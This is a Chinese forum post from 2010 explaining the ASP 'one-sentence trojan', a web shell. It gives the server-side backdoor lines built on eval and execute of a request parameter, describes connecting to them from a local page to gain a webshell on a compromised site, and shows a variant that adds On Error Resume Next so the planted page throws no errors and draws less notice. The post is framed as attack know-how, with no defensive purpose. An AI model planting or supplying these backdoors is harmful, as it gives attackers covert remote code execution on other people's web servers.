以文本方式查看主题 - 咿思舞论坛 (http://bbs.145829.com/index.asp) -- 『网站资源』 (http://bbs.145829.com/list.asp?boardid=8) ---- ASP一句话木马详解 (http://bbs.145829.com/dispbbs.asp?boardid=8&id=656) |
-- 作者:admin -- 发布时间:2010/10/2 1:25:14 -- ASP一句话木马详解 一句话木马,它是基于B/S结构的。当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。(不知道数据库也可以,只要知道<%eval request("value")%>这个文件被插入到哪一个ASP文件里面就可以了。) 一句话木马服务端原型: <%execute request("value")%> <%eval request("value")%> (现在比较多见的,而且字符少,对表单字数有限制的地方特别的实用) 原理: 首先<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form(\'#\')+\'\'这句代码,Request.form(\'#\')的作用是读取客户端文件中html标记属性中name值被命名 为#的部分. 经常,当我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误: Script error detected at line 1. Source line: execute request("jinmozhe") Description: 类型不匹配: \'execute\' 这个如何解决呢? 想出了一个好办法,只要用"eval"替换掉"execute"服务端,就不会出错了! 呵呵,下面来说说变形后的2句话后门木马了。 变形后:<%On Error Resume Next execute request("value")%> 学过ASP或者VB的朋友应该都知道On Error Resume Next的意思吧,(遇到错误不停止,向下运行别的程序) 这样写的好处在于,访问被插入该页面的时候,很少会出现异常,而用一句话的时候就不是这样了,都是会出现异常滴.... |